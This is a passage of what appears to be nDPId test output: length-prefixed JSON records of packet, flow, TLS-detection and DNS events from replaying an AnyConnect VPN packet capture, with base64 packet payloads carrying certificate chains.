wSCAeMB4QB3AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABaL+5ngAAAAQDAEgwRgIhAKxxvM9C5gPV1Owy4M\/Dyzx7kBpwyzXQc7wZ0mGBR9fOAiEA\/A\/FJxuASzJphQeYq5ltFnIhSeTPRbPItlQigQZkkDwAdgBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWi\/uZ35AAAEAwBHMEUCIQDNq3daAkrYxX6VQ9b6GqComWKfQou0IMsDnXGHMLZiSAIgEnWktUcQyNRmFvjh+POicMbVzLnjlwLij\/eoPMW67IwAdgBWFAaaL9fC7NP14b1Esj7HRna5vJkRXMDvlJhV1onQ3QAAAWi\/uZ5ZAAAEAwBHMEUCICH\/OekR\/g8Jdz2Y7Qc3us2XTMZ75OBnWYjV61BMMxsGAiEAtIuo7AamIHqnZDAbI1eeM3ogDSbRJ5hn12CgIZCempMAdgC72d+8H4pxtZOUI5eqkntHOFeVCqtS6BqQlmQ2jh7RhQAAAWi\/uZ5NAAAEAwBHMEUCIHkJ3QKOEfzyT\/nCAMVpK04S4woe8rsVcpjzIhSsRoSsAiEA324g9fbsnh\/O\/XKfcV4vnykRYq8iMzykYAT+PPtA1MEwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLmVudHJ1c3QubmV0L2xldmVsMWsuY3JsMEsGA1UdIAREMEIwNgYKYIY="} +00820{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":62,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":6,"flow_first_seen":1569687245688,"flow_last_seen":1569687245772,"flow_tot_l4_data_len":1823,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":303,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56919,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"9f1a41f932f274fe47a992310a26a23a","ja3s":"82f0d8a75fa483d1cfe4b7085b784d7e","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","alpn":"http\/1.1"}} +00436{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":772738,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95XAbsu53qbbMwP74AQ\/\/\/D5QAAAQEIChwNe\/g\/+Vsl"} +02384{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":813606,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXck3MAAPcGsUUIJWZbCgAA4wG73ldszA\/vLud6m4AYgAAN9QAAAQEICj\/5W04AAAAASAGG+mwKAQUwKDAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5lbnRydXN0Lm5ldC9ycGEwCAYGZ4EMAQICMGgGCCsGAQUFBwEBBFwwWjAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuZW50cnVzdC5uZXQwMwYIKwYBBQUHMAKGJ2h0dHA6Ly9haWEuZW50cnVzdC5uZXQvbDFrLWNoYWluMjU2LmNlcjAfBgNVHSMEGDAWgBSConB03bxTP8971PfNf6dgxgpMvzAdBgNVHQ4EFgQUmi0VGuslo\/WsT4R+rNKNmFj1ZL0wCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEAKdBE7Z+\/QgBIjgKdoPLQP+aFD6KtOZlOiHey04vsERDOADqNdu8unwz6N0izPw2l\/n+UoPoV6GrQkCjChT893I2Smv8Vj1mVR9ZW1nnkmVR9MJr+xC5Iw99s1Ntq2M7Knro\/38pMlTbzDdIcgeyuFS+2iILYDpWpJ7TdQfZH5XVAvdIk3ZnRxtGd7Lcy\/jVbSYIGFTi\/TuA8Bv82FbHnQSqp4ezyTgTKuHmdSMry0pP20Z6nga4Vd2slNm7KOIghxUpnvRfKqVpF04m1QFzXE34qRtPEU80S1e6wlIl8ZcZrL\/KcU+88mv0xL3dpgVjURuISIJE90mwZCDqslRXPTgAFEjCCBQ4wggP2oAMCAQICDA7pTMMAAAAAUdN3hTANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwHhcNMTUxMDA1MTkxMzU2WhcNMzAxMjA1MTk0MzU2WjCBujELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEuMCwGA1UEAxMlRW50cnVzdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEwxSzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANo\/ltBNuS9E59s5XptQ7lylYdpBZ1MJqgCajld\/KWvbx+EhJKo60I1HI9LtchbwkSHSXbe4S6iDj7eRMmjPziWTLLJ9l8j+wbQXugmeA5CTe3xJgyJoipveR8MxmHoufUAL0u8+07KMqo9Iqf8A6ClYBve2k1qUcyYmrVgO5UK41epzeWRoUyW4hM+Ueq4GRQyja03Qxr7qGKQ28JKyuhyIjzpSf\/debYMcnfAf5cPW3aV4kj2wbSzqyc+UQRlxRGi6RzwE6V26PvA19xW2nvIuFR4\/R8jIOKdzRV1NsDuxjhcpN+rdBQEiu5Q2Ko1bNf5TGS8IRsEqsxpiHU4r2RsCAwEAAaOCAQwwggEIMA4GA1UdDwEB\/wQEAwIBBjASBgNVHRMBAf8ECDAGAQH\/AgEAMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuZW50cnVzdC5uZXQwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL2NybC5lbnRydXN0Lm5ldC9nMmNhLmNybDA7BgNVHSAENDAyMDAGBFUdIAAwKDAmBggrBgEFBQc="} +02380{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":813610,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXcm2cAAPcGqVEIJWZbCgAA4wG73ldszBWXLud6m4AYgACPmAAAAQEICj\/5W04AAAAAAgEWGmh0dHA6Ly93d3cuZW50cnVzdC5uZXQvcnBhMB0GA1UdDgQWBBSConB03bxTP8971PfNf6dgxgpMvzAfBgNVHSMEGDAWgBRqciZ60B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAOdWOmINhyCxj03AdGTDL9gmszGnVydw3QfIyD+90w1j2eCcJNAiVki\/X37ij\/Q6B6aSc0z9NaCsVMQoVzFIEk+iTUMPZseLhaLc6CXTxNFgKP3eYQLjmaP9d5MhGxeyB18mCGFyDznHYvL+smQKT25SYhNKcprX+XLvwSq8hrMI\/SSRn1i6Oz6zMZBUYcuVsd9NSqLndjawASjUZ1G9zo3Xva2TD4I2DEqGK5w6GTdi0IBu+aqWMS2hm4yvHWAv7VhDUkfsd0zFYEIxE43V7EJ21OLH2qsqBZGzo8uKBVZdRf+HCJ1CiyTxbAEP2W7nVpfz\/B1BAZwewVfC3fm4tzAAFAzCCBP8wggPnoAMCAQICBFHTQEQwDQYJKoZIhvcNAQELBQAwgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDA5MjIxNzE0NTdaFw0yNDA5MjMwMTMxNTNaMIG+MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjEoMCYGA1UECxMfU2VlIHd3dy5lbnRydXN0Lm5ldC9sZWdhbC10ZXJtczE5MDcGA1UECxMwKGMpIDIwMDkgRW50cnVzdCwgSW5jLiAtIGZvciBhdXRob3JpemVkIHVzZSBvbmx5MTIwMAYDVQQDEylFbnRydXN0IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALqEtnLbngxr4pnpMAGnduoyuJVBGsnaYU5Ycs\/+9oJ5v3NhBgqlJ9izX9NFThxy1k4y8nKKD\/eDGdBqgIAARR6wx+eavxJXJxyjaC8Kh71qaw5eZfMcd9XUhY1wIbSzMueLotWGOQKxuNJHzuTJScQ7p977VH1XvvDobsJ5sjoLVeJQmBYyE1wveFbBwpSz8lrkJ5qfJNfG7NCbJYLjzMLERcWMl3oGayoRn6kKbkg7b9vUERlC948Hv\/VTX5w+9Bcs5mmsTjJMYnfqt+jluzS8GYuunFHnt361U7EzIuVtz3A8Gvrim2e2g\/SNpa9iTE3gWKxkNBID+LaNlGMkpHECAwEAAaOCAQ8wggELMA4GA1UdDwEB\/wQEAwIBBjASBgNVHRMBAf8ECDAGAQH\/AgEBMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuZW50cnVzdC5uZXQwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC5lbnRydXN0Lm5ldC9yb290Y2ExLmNybDA7BgNVHSAENDAyMDAGBFUdIAAwKDAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5lbnRydXN0Lm5ldC9DUFMwHQYDVR0OBBYEFGpyJnrQHu995ztpUdRsjZ+QEmarMB8GA1UdIwQYMBaAFGiQ5GekplOAx4ZmpPH3S0P7hL1tMA0GCSqGSIb3DQEBCwUAA4IBAQBpM4P8KHpvfe+dVevFPnqddbPMwzg22TSiKGgY6h5p073n0HfauACDTkrPb9HxwSI="} +00435{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":813666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95XAbsu53qbbMwVl4AQ\/\/+97AAAAQEIChwNfCA\/+VtO"} +00435{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":813667,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95XAbsu53qbbMwbP4AQ\/\/+4RAAAAQEIChwNfCA\/+VtO"} +02396{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":851826,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXc+WkAAPcGS08IJWZbCgAA4wG73ldszBs\/Lud6m4AYgAAzlQAAAQEICj\/5W3YAAAAAP3Tk95hJnpu2nuHbmHctVjSxqDzZ\/cDNx78FA9QCxfHlxtoIpRPHYiMR0WEwHWCERe95qMYmk6S3zTS4acUT9pGzyUVzdraS9nYKW+EDR7fpKUyRMiM3Spw12Hj9HR\/kg4kkgK23+c\/kXaXUccSFW3Af2z8cAesaRSYxFMxlv2feyswzZeVBkdc3vkEalp3mipedp86sTpo9vQGgatlPIgCLRNVpYnsu68y655J9aWc9\/Lh83kGH0GnqugoYehqVQ7N5cSh2baH7V0rsTcgOEAAElTCCBJEwggN5oAMCAQICBEVrUFQwDQYJKoZIhvcNAQEFBQAwgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMjcyMDIzNDJaFw0yNjExMjcyMDUzNDJaMIGwMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjE5MDcGA1UECxMwd3d3LmVudHJ1c3QubmV0L0NQUyBpcyBpbmNvcnBvcmF0ZWQgYnkgcmVmZXJlbmNlMR8wHQYDVQQLExYoYykgMjAwNiBFbnRydXN0LCBJbmMuMS0wKwYDVQQDEyRFbnRydXN0IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2lbZDQvrGbSpvSN+UTDlXBe7DeRFBaDbt7P6aAY+hOCj89xBGZi5NHhqxGk7G0cCViLDJ\/zGLMwPbt4N7PiCEXu2yViin+OC5QHE3xctHDpcqaMAilWIV20fZ9dAr\/4JLya0+3kzbkIBQPwmKhADsMAo9GM37\/SpZmiOVFyxFnh9uQ3ltDFyY\/kinxSNHXF79bucetPZoRdGGg1uiio2x4ymA\/iVxiK2+vI+sUpZLqlGN5BMxGehOTZ\/brLNq1bw5VHHKenp\/kN19HYDZgbtZJsIR\/uaT4veA5GX7NDcOKYBwTa84hi6ef1evnheu6xzLKCFfthzY56IEIvnT2tjLAgMBAAGjgbAwga0wDgYDVR0PAQH\/BAQDAgEGMA8GA1UdEwEB\/wQFMAMBAf8wKwYDVR0QBCQwIoAPMjAwNjExMjcyMDIzNDJagQ8yMDI2MTEyNzIwNTM0MlowHwYDVR0jBBgwFoAUaJDkZ6SmU4DHhmak8fdLQ\/uEvW0wHQYDVR0OBBYEFGiQ5GekplOAx4ZmpPH3S0P7hL1tMB0GCSqGSIb2fQdBAAQQMA4bCFY3LjE6NC4wAwIEkDANBgkqhkiG9w0BAQUFAAOCAQEAk9QwsNcDICrQ+WPokQwFIKlfGcp7ck7UsdvQlvtUWhksDAj3sryFqJ1\/bTtSsyrb59SEjGP2D8smAZFQbPRfFOKTdMATnjA6UOO0YMUc8CJEjXFHrMgayembmgBgE\/9wfl8RTUkbsxVSe8lU2r+dla9rmtie6fHkQ43iEUQ6v6+9g0JzUouqu6cpz\/VkHApN0byqrJ8q0P9\/f9p96rHtMCXBhNo00lt4g1bsnDbDJuIR9mdJHZKrjPvr\/3ruhUqnUIDwp1xKlC5fBZk8UkHgzbRjzwFDupyD3I9gO\/NatLR7rtoLkDh174EdZtL3V3A2s7\/8KK9xJYVbE\/4ef1q0PBYDAwSWDQAEjgIBQAAOBgEGAwUBBQMEAQQDAgEEeQB1MHMxEzARBgoJkiaJk\/IsZAEZFgNjb20xFjAUBgoJkiY="} +01206{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":68,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":12,"flow_first_seen":1569687245688,"flow_last_seen":1569687245851,"flow_tot_l4_data_len":6359,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":529,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56919,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","server_names":"*.pandion.viasat.com,pandion.viasat.com","ja3":"9f1a41f932f274fe47a992310a26a23a","ja3s":"82f0d8a75fa483d1cfe4b7085b784d7e","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Entrust, Inc., OU=See www.entrust.net\/legal-terms, OU=(c) 2012 Entrust, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K","issuerDN":"C=US, ST=California, L=Carlsbad, O=Viasat Inc., CN=*.pandion.viasat.com","alpn":"http\/1.1","fingerprint":"92:70:CF:E3:69:4B:1D:F4:E2:DE:63:54:EC:DF:40:DB:F3:AC:D1:CA"}} +01931{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":851834,"pkt_caplen":1181,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1181,"pkt_l4_len":1147,"pkt":"NDY7z3UoLH6BsEqhCABFAASPlEsAAPcGsboIJWZbCgAA4wG73ldszCDnLud6m4AYgAAaEQAAAQEICj\/5W3YAAAAAiZPyLGQBGRYGdmlhc2F0MRQwEgYKCZImiZPyLGQBGRYEY29ycDESMBAGCgmSJomT8ixkARkWAmhxMRowGAYDVQQDExFWaWFzYXQgU0hBIDIgQ0EtMwB1MHMxEzARBgoJkiaJk\/IsZAEZFgNjb20xFjAUBgoJkiaJk\/IsZAEZFgZ2aWFzYXQxFDASBgoJkiaJk\/IsZAEZFgRjb3JwMRIwEAYKCZImiZPyLGQBGRYCaHExGjAYBgNVBAMTEVZpYXNhdCBTSEEgMiBDQS0yAHUwczETMBEGCgmSJomT8ixkARkWA2NvbTEWMBQGCgmSJomT8ixkARkWBnZpYXNhdDEUMBIGCgmSJomT8ixkARkWBGNvcnAxEjAQBgoJkiaJk\/IsZAEZFgJocTEaMBgGA1UEAxMRVmlhc2F0IFNIQSAyIENBLTEAITAfMR0wGwYDVQQDExRWaWFzYXQgU0hBIDIgUm9vdCBDQQDBMIG+MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjEoMCYGA1UECxMfU2VlIHd3dy5lbnRydXN0Lm5ldC9sZWdhbC10ZXJtczE5MDcGA1UECxMwKGMpIDIwMDkgRW50cnVzdCwgSW5jLiAtIGZvciBhdXRob3JpemVkIHVzZSBvbmx5MTIwMAYDVQQDEylFbnRydXN0IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMgC9MIG6MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjEoMCYGA1UECxMfU2VlIHd3dy5lbnRydXN0Lm5ldC9sZWdhbC10ZXJtczE5MDcGA1UECxMwKGMpIDIwMTIgRW50cnVzdCwgSW5jLiAtIGZvciBhdXRob3JpemVkIHVzZSBvbmx5MS4wLAYDVQQDEyVFbnRydXN0IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gTDFLALMwgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eQC4MIG1MQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOzA5BgNVBAsTMlRlcm1zIG9mIHVzZSBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhIChjKTEwMS8wLQYDVQQDEyZWZXJpU2lnbiBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHMw4AAAA="} +00435{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":851921,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95XAbsu53qbbMwg54AQ\/\/+yTgAAAQEIChwNfEY\/+Vt2"} +00435{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":851922,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95XAbsu53qbbMwlQoAQ\/\/+t8wAAAQEIChwNfEY\/+Vt2"} +00447{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":96558,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"2DE0IHf7NDY7z3UoCABFAABAAABAAEAGJT8KAADjCgAAl95UH0ntZWziAAAAALAC\/\/8wWwAAAgQFtAEDAwUBAQgKHA19NQAAAAAEAgAA"} +00585{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":426088,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"pHczjPFANDY7z3UoCABFAgCiAABAAEAGJN0KAADjCgAAldwAH0m4VKSqauVqJ4AYEABWlgAAAQEIChwNfn0AIdVKFwMDAGltB4Q9ZE7MwMLqA\/qW5WJXb0PHNtCROrUMkJHw\/OP719Jk7orSFs9TCm756O7SILnP3vnstuJ4xPfpszSDO6LW4XcEaWDlp33D\/dMihM\/bvEZuYHMlrzKnK9TylV815IAQKWsax0+Dp+A="} +00581{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":428911,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"NDY7z3UopHczjPFACABFAgCiFAJAAEAGENsKAACVCgAA4x9J3ABq5WonuFSlGIAYARXEpwAAAQEICgAh1z8cDX59FwMDAGnSDUBTzxnFH9ckBLkGJJxtZYOnnoJTcPtGWYx7fflTVjXPGvnWJvT5kELd8Dyk7N8gqq17Y91Gw5NO81U2bwcOEaqqMVk4vbp1wYVpe8wc5fgUWL03+X7m6bLc5s5fILREqdmBY0Re1KI="} +00432{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":428970,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pHczjPFANDY7z3UoCABFAAA0AABAAEAGJU0KAADjCgAAldwAH0m4VKUYauVqlYAQD\/yxKgAAAQEIChwNfn8AIdc\/"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1569687246891,"flow_last_seen":0,"flow_tot_l4_data_len":31,"flow_min_l4_data_len":31,"flow_max_l4_data_len":31,"flow_avg_l4_data_len":31,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":63107,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":891499,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"LH6BsEqhNDY7z3UoCABFAAAzrdgAAP8Ra2cKAADjS0tMTPaDADUAH3AoGBgBAAABAAAAAAAABWxvY2FsAAAGAAE="} +00628{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":93,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1569687246891,"flow_last_seen":0,"flow_tot_l4_data_len":31,"flow_min_l4_data_len":31,"flow_max_l4_data_len":31,"flow_avg_l4_data_len":31,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":63107,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"local","num_queries":0,"num_answers":0,"reply_code":0,"query_type":6,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00534{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":924862,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"NDY7z3UoLH6BsEqhCABFAAB+AABAADYRofVLS0xMCgAA4wA19oMAah4oGBiBgwABAAAAAQAABWxvY2FsAAAGAAEAAAYAAQAAAyoAQAFhDHJvb3Qtc2VydmVycwNuZXQABW5zdGxkDHZlcmlzaWduLWdycwNjb20AeFjpQAAABwgAAAOEAAk6gAABUYA="} +00650{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":94,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":2,"flow_first_seen":1569687246891,"flow_last_seen":1569687246924,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":31,"flow_max_l4_data_len":106,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":63107,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"local","num_queries":1,"num_answers":1,"reply_code":3,"query_type":6,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00446{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":95,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1569687246924,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} 